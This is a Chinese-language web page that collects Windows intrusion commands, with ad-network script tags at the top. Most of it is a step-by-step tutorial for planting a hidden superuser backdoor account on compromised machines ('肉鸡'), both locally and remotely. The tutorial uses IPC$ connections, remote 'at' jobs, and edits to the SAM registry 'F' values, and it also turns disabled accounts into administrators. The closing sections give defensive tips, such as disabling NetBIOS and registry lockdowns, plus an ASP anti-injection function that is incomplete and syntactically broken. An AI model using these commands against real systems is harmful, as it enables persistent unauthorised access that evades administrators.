入侵中最常用的网络命令

 <script language="javascript" src="http://js4.all4ad.net/mtunion/display.aspx?unionid=50624&htmlid=html/joyo/760x60_2.htm&val1=50624"></script><script language="javascript" src="http://js4.all4ad.net/mtunion/display.aspx?unionid=50624&htmlid=html/joyo/468x60_2.htm&val1=50624"></script><script language="javascript" src="http://js4.all4ad.net/mtunion/display.aspx?unionid=50624&htmlid=html/joyo/770x80_2.htm&val1=50624"></script> marginwidth="0" marginheight="0" src="http://www.joyo.com/union/eb.asp?k=6&source=ad4all_50624" frameborder="0" width="120" scrolling="no" height="60"> marginwidth="0" marginheight="0" src="http://www.joyo.com/union/eb.asp?k=19&source=ad4all_50624" frameborder="0" width="580" scrolling="no" height="60"> marginwidth="0" marginheight="0" src="http://www.joyo.com/union/eb.asp?k=3&source=ad4all_50624" frameborder="0" width="750" scrolling="no" height="60"> marginwidth="0" marginheight="0" src="http://www.joyo.com/union/eb.asp?k=18&source=ad4all_50624" frameborder="0" width="775" scrolling="no" height="80"><script language="javascript" src="http://js4.all4ad.net/mtunion/display.aspx?unionid=50624&htmlid=html/joyo/770x80_3.htm&val1=50624"></script><script language="javascript" src="http://js4.all4ad.net/mtunion/display.aspx?unionid=50624&htmlid=html/joyo/760x60_3.htm&val1=50624"></script> *net user 查看用户列表 *net user 用户名 密码 /add 添加用户 *net user 用户名 密码 更改用户密码 *net localgroup administrators 用户名 /add 添加用户到管理组 *net user 用户名 /delete 删除用户 *net user 用户名 查看用户的基本情况 *net user 用户名 /active:no 禁用该用户 *net user 用户名 /active:yes 启用该用户 *net share 查看计算机IPC$共享资源 *net share 共享名 查看该共享的情况 *net share 共享名=路径 设置共享。例如 net share c$=c: *net share 共享名 /delete 删除IPC$共享 *net use 查看IPC$连接情况 *net use //ip/ipc$ "密码" /user:"用户名" ipc$连接 *net time //ip 查看远程计算机上的时间 *copy 路径:/文件名 //ip/共享名 复制文件到已经ipc$连接的计算机上 *net view ip 查看计算机上的共享资源 *ftp 服务器地址 进入FTP服务器 *at 查看自己计算机上的计划作业 *at //ip 查看远程计算机上的计划作业 *at //ip 时间 命令(注意加盘符) 在远程计算机上加一个作业 *at //ip 计划作业ID /delete 删除远程计算机上的一个计划作业 *at //ip all /delete 删除远程计算机上的全部计划作业 ipconfig 查看网络连接 net start 开启服务 net stop 关闭服务 建立隐藏的超级用户前几天在某个网站(记不清了，不好意思 ^_*）上看到了一篇介绍如何建立隐藏的超级用户的图文教程，给我了很大的启发，作者只说明了如何在本地图形界面下建立隐藏的超级用户，且作者说他无法在命令行下实现隐藏的超级用户的建立，于是我就开始自已摸索，刚开始时，我用reg.exe（3.0版)作为命令行下导出导入注册表文件的工具，但每次导入以后，建立的隐藏的超级用户总不能用，后来打开注册表查看，发现这个隐藏的超级用户的默认数据类型并没有被导入注册表。由于这种数据类型是十六进制数表示的（如administrator的默认数据类型为000001F4，下面例子中的hacker$的数据类型是00000409)而不是我们常说的字符串型、dword型、二进制型等数据类型，reg.exe不能识别，因而也就无法导入，而在图形界面下用注册表编辑器regedit.exe却能够将这种数据类型导入，后来一想regedit.exe是一个两栖程序，它既可以在windows界面下运行，也可以在DOS下运行，既然图形界面regedit.exe能够导入这种数据类型，那么DOS下面的它也应该能够导入这种数据类型，后来经试验证明了我的想法。下面我把我实现这个隐藏的超级用户建立方法介绍如下： 一、如何在图形界面建立隐藏的超级用户 图形界面下适用本地或开3389终端服务的肉鸡上。上面我提到的那位作者说的方法很好，但是较为复杂，还要用到psu.exe(让程序以系统用户身份运行的程序），如果在肉鸡上的话还要上传psu.exe。我说的这个方法将不用到psu.exe这个程序。因为windows2000有两个注册表编辑器:regedit.exe和regedt32.exe。XP中regedit.exe和regedt32.exe实为一个程序，修改键值的权限时在右键中点“权限”来修改。对regedit.exe我想大家都很熟悉，但却不能对注册表的项键设置权限，而regedt32.exe最大的优点就是能够对注册表的项键设置权限。nt/2000/xp的帐户信息都在注册表的HKEY_LOCAL_MACHINE/SAM/SAM键下，但是除了系统用户SYSTEM外，其它用户都无权查看到里面的信息，因此我首先用regedt32.exe对SAM键为我设置为“完全控制”权限。这样就可以对SAM键内的信息进行读写了了。具体步聚如下： 1、假设我们是以超级用户administrator登录到开有终端服务的肉鸡上的，首先在命令行下或帐户管理器中建立一个帐户:hacker$,这里我在命令行下建立这个帐户 net user hacker$ 1234 /add 2、在开始/运行中输入:regedt32.exe并回车来运行regedt32.exe。 3、点“权限”以后会弹出窗口 点添加将我登录时的帐户添加到安全栏内，这里我是以administrator的身份登录的，所以我就将administrator加入，并设置权限为“完全控制"。这里需要说明一下:最好是添加你登录的帐户或帐户所在的组，切莫修改原有的帐户或组，否则将会带来一系列不必要的问题。等隐藏超级用户建好以，再来这里将你添加的帐户删除即可。 4、再点“开始”→“运行”并输入"regedit.exe" 回车,启动注册表编辑器regedit.exe。 打开键：HKEY_LOCAL_MAICHINE/SAM/SAM/Domains/account/user/names/hacker$" 5、将项hacker$、00000409、000001F4导出为hacker.reg、409.reg、1f4.reg，用记事本分别打这几个导出的文件进行编辑，将超级用户对应的项000001F4下的键"F"的值复制，并覆盖hacker$对应的项00000409下的键"F"的值,然后再将00000409.reg与hacker.reg合并。 6、在命令行下执行net user hacker$ /del将用户hacker$删除：net user hacker$ /del 7、在regedit.exe的窗口内按F5刷新，然后打文件-导入注册表文件将修改好的hacker.reg导入注册表即可 8、到此，隐藏的超级用户hacker$已经建好了，然后关闭regedit.exe。在regedt32.exe窗口内把HKEY_LOCAL_MACHINE/SAM/SAM键权限改回原来的样子（只要删除添加的帐户administrator即可）。 9、注意：隐藏的超级用户建好后，在帐户管理器看不到hacker$这个用户，在命令行用“net user”命令也看不到，但是超级用户建立以后，就不能再改密码了，如果用net user命令来改hacker$的密码的话，那么在帐户管理器中将又会看这个隐藏的超级用户了，而且不能删除。 如何在命令行下远程建立隐藏的超级用户 在这里将用at的命令，因为用at产生的计划任务是以系统身份运行的，所以也用不到psu.exe程序。为了能够使用at命令，肉鸡必须开有schedule的服务，如果没有开启，可用流光里带的工具netsvc.exe或sc.exe来远程启动，当然其方法也可以，只要能启动schedule服务就行。 对于命令行方式，你可以采用各种连接方式，如用SQLexec连接MSSQL的1433端口，也可以用telnet服务，只要以你能得到一个cmdshell，并且有运行at命令的权限就可以。 1、首先找到一台肉鸡，至于如何来找那不是我这里所说的话题。这里先假设找到一台超级用户为administrator,密码为12345678的肉鸡，现在我们开始在命令行下远程为它建立隐藏的超级用户。（例子中的主机是我的局域网内的一台主机，我将它的ip地址改为13.50.97.238,，请勿在互联网上对号入座,以免骚扰正常的ip地址。） 2、先与肉鸡建立连接,命令为: net use //13.50.97.238/ipc$ "12345678" /user:"administrator 3、用at命令在肉鸡上建立一个用户(如果at服务没有启动，可用小榕的netsvc.exe或sc.exe来远程启动):at //13.50.97.238 12:51 c:/winnt/system32/net.exe user hacker$ 1234 /add 建立这个加有$符的用户名，是因为加有$符后，命令行下用net user将不显示这个用户，但在帐户管理器却能看到这个用户。 4、同样用at命令导出HKEY_LOCAL_MACHINE/sam/sam/Domains/account/users下键值：at //13.50.97.238 12:55 c:/winnt/regedit.exe /e hacker.reg HKEY_LOCAL_MACHINE/SAM/SAM/Domains/account/users/ /e 是regedit.exe的参数，在_LOCAL_MACHINE/SAM/SAM/Domains/account/users/这个键的一定要以/结尾。必要的情况下可以用引号将"c:/winnt/regedit.exe /e hacker.reg HKEY_LOCAL_MACHINE/SAM/SAM/Domains/account/users/"引起来。 5、将肉鸡上的hacker.reg下载到本机上用记事本打开进行编辑命令为：copy //13.50.97.238/admin$/system32/hacker.reg c:/hacker.reg 修改的方法图形界中已经介绍过了，这里就不作介绍了。 6、再将编辑好的hacker.reg拷回肉鸡上 copy c:/hacker.reg //13.50.97.238/admin$/system32/hacker1.reg 7、查看肉鸡时间：net time //13.50.97.238 然后用at命令将用户hacker$删除: at //13.50.97.238 13:40 net user hacker$ /del 8、验证hacker$是否删除:用 net use //13.50.97.238 /del 断开与肉鸡的连接。 net use //13.50.97.238/ipc$ "1234" /user:"hacker$" 用帐户hacker$与肉鸡连接，不能连接说明已删除。 9、再与肉鸡建立连接：net use //13.50.97.238/ipc$ "12345678" /user:"administrator" 再取得肉鸡时间，用at命令将拷回肉鸡的hacker1.reg导入肉鸡注册表: at //13.50.97.238 13:41 c:/winnt/regedit.exe /s hacker1.reg regedit.exe的参数/s是指安静模式。 10、再验证hacker$是否已建立，方法同上面验证hacker$是否被删除一样。 11、再验证用户hacker$是否有读、写、删的权限，如果不放心，你还可验证是否能建立其它帐户。 12、通过11可以断定用户hacker$具有超级用户权限，因为最初我用at命令建立它的时候是一个普通用户，而现在却具有远程读、写、删的权限。 三、如果肉鸡没有开3389终端服务，而我又不想用命令行，怎么办？ 这种情况下，你也可以用界面方式来远程为肉鸡建立隐藏的超级用户。因为regedit.exe、regedt32.exe都有连接网络注册表的功能，你可以用regedt32.exe来为远程主机的注册表项设置权限，用regedit.exe来编辑远程注册表。帐户管理器也有一项连另一台计算机的功能，你可以用帐户管理器为远程主机建立和删除帐户。具体步聚与上面介绍的相似，我就不多说了，只它的速度实在是令人难以忍受。 但是这里有两个前提： 1、先用net use //肉鸡ip/ipc$ "密码" /user:"超级用户名"来与远程主机建立连接以后，才能用regedit.exe regedt32.exe及帐户管理器与远程主机连接。 2、远程主机必须开启远程注册表服务（没有开启的话，你也可以远程开启，因为你有超级用户的密码了）。 四、利用被禁用的帐户建立隐藏的超级用户： 我们可以用肉鸡上被禁止的用户来建立隐藏的超组用户.方法如下: 1．想办法查看有哪些用户被细心的管理员禁止，一般情况下，有些管理员出于安全考虑，通常会将guest禁用，当然了会禁用其它用户。在图形界面下，非常容易，只要在帐户管理器中就可以看到被禁用的帐户上有一个红叉；而在命令行下，我还没有想到好的办法，只能在命令行下用命令："net user 用户名"一个一个来查看用户是否被禁用。 2．在这里，我们假设用户hacker被管理员禁用。首先，我先用小榕的超组用户克隆程序CA.exe，将被禁用的用户hacker 克隆成超级用户（克隆之后，被禁用的用户hacker就会自动被激活了）: CA.EXE //肉鸡ip Administrator 超级用户密码 hacher hacher密码。 3．如果你现在一个cmdshell，如利用telnet服务或SQLEXEC连接肉鸡的msSQL的默认端口1433得到的shell都可以，这时你只要输入命令： net user hacker /active:no 这样用户hacker就被禁用了（至少表面上是这样的），当然你也可以将用户hacher换成其它的被禁用的用户。 4．这时如果你在图形界面下看帐户管理器中的用户时,会发现用户hacker被禁用了，但事实上是这样的吗？你用这个被禁用的用户连接一下肉鸡看看是否能连上？用命令：net user //肉鸡ip/ipc$ "hacker密码" /user:"hacker" 连一连看看。我可以告诉大家，经过我多次试验，次次都能成功，而且还是超级用户权限。 5．如果没有cmdshell怎么办？你可以我上面介绍的at命令来禁用用户hacker;命令格式：at //肉鸡ip 时间 net user hacker /active:no 6．原理：具体的高深的原理我也说不上来，我只能从最简单的说。你先在图形界面下在帐户管理器中禁用一下超级用户administrator看看，肯定会弹出一对话框，并禁止你继续禁用超级用户administrator，同样，因为在克隆时，hacker在注册表的"F"键被超级用户administrator在注册表的"F"键所替代，因而hacker就具有了超级用户的权限了，但是由于hacker在注册表内"C"健还是原来的"C"键，所以hacker还是会被禁用，但是它的超级用户权限却不会被禁用，因此被禁用的用户hacker还是可以连接肉鸡，而且还具有超级用户的权限。具体我也说不明白，大家权且这么理解吧。 五、注意的几点事项： 1、隐藏的超级用户建立以后，在帐户管理器中和命令行下均看不到这个用户，但这个用户却存在。 2、隐藏的超级用户建立以后，就不能再修改密码了，因为一旦修改密码，这个隐藏的超级用户就会暴露在帐户管理器中，而且不能删除。 3、如在本机上试验时，最好用系统自带的备份工具先备份好本机的“系统状态”主要是注册表的备份，因为本人做试验时，曾出现过帐户管理器中看不到任何用户，组中也看不到任何组的现象，但它们却存在。幸好我有备份,呵呵。SAM键是毕竟系统最敏感的部位。 4、本方法在2000/XP上测试通过，未在NT上测试。本方法仅供研究，请勿将本方法用于破坏上，利用本方法造成严重后果者，由使用者负责，本人概不负责。 关闭你的NetBIOS 　许多人知道，NetBIOS 是计算机局域网领域流行的一种传输方式，但你是否还知道，对于互联网用户来讲，NetBIOS 则是安全领域的一大隐患。 　　一、NetBIOS 的烦恼 　　NetBIOS 是指网络输入输出系统，在计算机网络发展史中，NetBIOS 算得上是历史悠久。早在 1985 年，IBM 公司就开始在网络领域使用 NetBIOS，微软推出第一套基于 Windows 的网络操作系统－－Windows For Workgroups（面向工作组的视窗操作系统）时，就采用了一种适用于 Windows 的 NetBIOS 版本，即 NetBEUI。微软当年之所以选择 NetBEUI 作为网络传输的基本协议，是因为它占用系统资源少、传输效率高，尤为适用于由 20 到 200 台计算机组成的小型局域网。此外，NetBEUI 还有一个最大的优点：可以方便地实现网络中各单机资源的共享。 　　后来，网络的发展速度之快，已大大超出人们的想象，进入 20 世纪未，全球的计算机就已可通过国际互联网络方便连接，随着互联网络的迅猛发展，TCP/IP 协议成为广泛使用的传输协议。 　　今天，TCP/IP 协议已是互联网领域的通用协议，几乎所有接入互联网的电脑都使用 TCP/IP。但同时，NetBEUI 协议也还在局域网领域广泛使用，因此，在你安装 TCP/IP 协议时，NetBIOS 也被 Windows 作为默认设置载入了你的电脑，而电脑随即也具有了 NetBIOS 本身的开放性。换句话讲，在不知不觉间，你的上网电脑已被打开了一个危险的“后门”。 　　NetBIOS 的开放，意味着你的硬盘可能会在网络中成为共享。对于网上四处游走的 来讲，他们可以通过 NetBIOS 获知你电脑中的一切！ 　　二、找寻电脑中开放的“后门” 　　在想办法关闭电脑的这个“后门”前，我们有必要先认识这个问题：网络中的其它用户是怎样找到你系统漏洞的？ 　　你可能认为：在茫茫网海，作为个人上网用户，我的一台电脑是多么的渺小，HACKE R 们怎会对我感兴趣呢？其实，这种想法是很危险的，网上一些不怀好意的用户（很多还称不上是 ），说不定哪天就会盯上你。 　　现在，有许多被称作“扫描机（scanners）”的黑客小程序，这些扫描程序不停地穿梭于网络之中，专门寻找上网用户的系统漏洞，其中就包括 NetBIOS 及 Windows “ 文件及打印共享”功能所打开的系统后门。一旦扫描程序在网上发现了系统存在着漏洞的计算机，那些恶意攻击者就会设法通过找到的“后门”进入你的计算机，并获取你的信息。而令人深感不安的是，所有的这些非法入侵行为，你可能竟然毫无知觉。 　　三、关闭你的“后门” 　　正如前文所述，系统存在后门的原因是与 TCP/IP 协议捆绑在一起的 NetBIOS,事实上，对于互联网上的单机用户来讲，NetBIOS 是没有什么用处的，因此，你完全可以将它从 TCP/IP 中去掉。下面，就现在常见的几种操作系统介绍从TCP/IP 中解除 NetBIOS 的方法。 　　如果你使用的是最早版本的 Windows 95，那关闭 NetBIOS 就是一件非常容易的事：找到系统里名为 Vnbt.386 的文件，随便将它改个名，如改为 Vnbt.out，这就算大功告成了。 　　如果你使用的是 Windows 95改进版、Windows 98、Windows 98 SE 或是 Windows Me,那就要稍微麻烦一点。首先，打开控制面板，进入“网络”对话窗，在配置表中，查看列表中是否已有 NetBEUI 组件，如果有，则直接跳过下一段。 　　如果在列表中没有 NetBEUI 组件，则先点击“添加”按钮，在“要安装的网络组件类型”列表中，选择“协议”一项，再次点击“添加”，在“网络协议”对话窗中，选择 Microsoft 的 NetBEUI，然后，插入 Windows 安装盘，点击“确定”即可。 　　回到“网络”对话窗，在网络组件中选择“拨号适配器”，点击“属性”，在“属性”对话窗中选择“绑定”按钮，将除TCP/IP之外其它协议的复选框里的小勾清除掉。 　　最后，再次回到“网络”对话窗，选择 TCP/IP 协议，点击“属性”，这时有可能会弹出一个警告窗口，不用理它，直接点“OK”就行了，进入 TCP/IP 的“属性”窗口后，选择“绑定”，将所有网络协议复选框内的小勾去掉，点击“确定”，这时，Windo ws 会提示你至少应选择一种协议，仍然不用理它，点击“No”，关闭窗口。重新启动你的计算机，这样，你计算机中的 NetBIOS 后门就已被关闭了。 　　这样一来，NetBIOS 已从你计算机的 TCP/IP 协议中去除,当然，你最好检查一下操作是否成功：回到“网络”对话窗，选择 TCP/IP 协议，点击“属性”，在“属性”窗口中点击 NetBIOS 栏，这时，你会看到“我希望在 TCP/IP 协议中开启 NetBIOS（I want to enable NetBIOS over TCP/IP）”一项，该项前面的复选框应该没有打勾。 　　现在，你就可以放心地在网络中漫游，而不必再担心有人会通过 NetBIOS 入侵你的电脑。 网吧、服务器安全管理解决方案禁止用户使用“任务管理器” 用户可以使用“任务管理器”对话框来启动和结束本地进程，查看和管理其他计算机上的进程，改变进程的优先级。通过修改注册表，可以禁止用户使用“任务管理器”。新建一个双字节(REG＿DWORD)值项HKEY＿CURRENT＿USER＼Software＼Microsoft＼ Windows＼CurrentVersion＼Policies＼System＼DisableTaskMgr，修改其值为1。 禁止使用注册表编辑器 修改注册表是复杂和危险的，所以不希望用户去修改注册表。通过修改注册表，可以禁止用户运行系统提供的两个注册表编辑器。新建一个双字节(REG＿DWORD)值项HKEY＿CURRENT＿USER＼Software＼Microsoft＼ Windows＼CurrentVersion＼Policies＼System＼DisableRegistryTools，修改其值为1。这样，用户就不能启动注册表编辑器了。注意：使用此功能要小心，最好作个注册表备份，或者准备一个其他的注册表修改工具。因为当你禁止使用注册表编辑器后，就不能再使用该注册表编辑器将值项改回了。 禁止查看指定磁盘驱动器的内容 如果某个磁盘驱动器中存放了重要的数据，不希望用户查看该驱动器的内容，可以使用此方法来禁止察看该驱动器的内容。新建一个双字节(REG＿DWORD)值项HKEY＿CURRENT＿USER＼Software＼Microsoft＼ Windows＼Current Version＼Policies＼Explorer＼NoViewOnDrive。该值项从最低位(第0位)到第25位，共26个字位，分别代表驱动器A到驱动器Z。例如我们想禁止用户使用软盘驱动器A和B，以及驱动器D，可以修改“NoViewOnDrive”的值为“0000000b”(第0、1、3位的值为1)。修改后需要重启桌面使更改生效。这时再进入到“我的电脑”，双击驱动器D，系统会弹出一个消息框，告诉用户不能进行此*作。但是应用程序仍然可以访问被禁止的驱动器。被禁止的驱动器图标并没有被删除，仍然出现在“我的电脑”和“资源管理器”中。 禁止运行命令解释器和批处理文件 通过修改注册表，可以禁止用户使用命令解释器(CMD.exe)和运行批处理文件(.bat文件)。新建一个双字节(REG＿DWORD)执行HKEY＿CURRENT＿USER＼Software＼Policies＼ Microsoft＼Windows＼System＼DisableCMD，修改其值为2，命令解释器和批处理文件都不能被运行。修改其值为1，则只是禁止命令解释器的运行。 禁止注入 替换Request函数为以下内容,可以完全避免ASP被注入. Function SafeRequest(ParaName,ParaType) '--- 传入参数 --- 'ParaName:参数名称-字符型 'ParaType:参数类型-数字型(1表示以上参数是数字，0表示以上参数为字符) Dim ParaValue ParaValue=Request(ParaName) If ParaType=1 then If not isNumeric(ParaValue) then Response.write "参数" & ParaName & "必须为数字型！" Response.end End if Else ParaValue=replace(ParaValue,"'","''" End if SafeRequest=ParaValue End function 删除不必要的组件, ftp tftp等 在系统目录下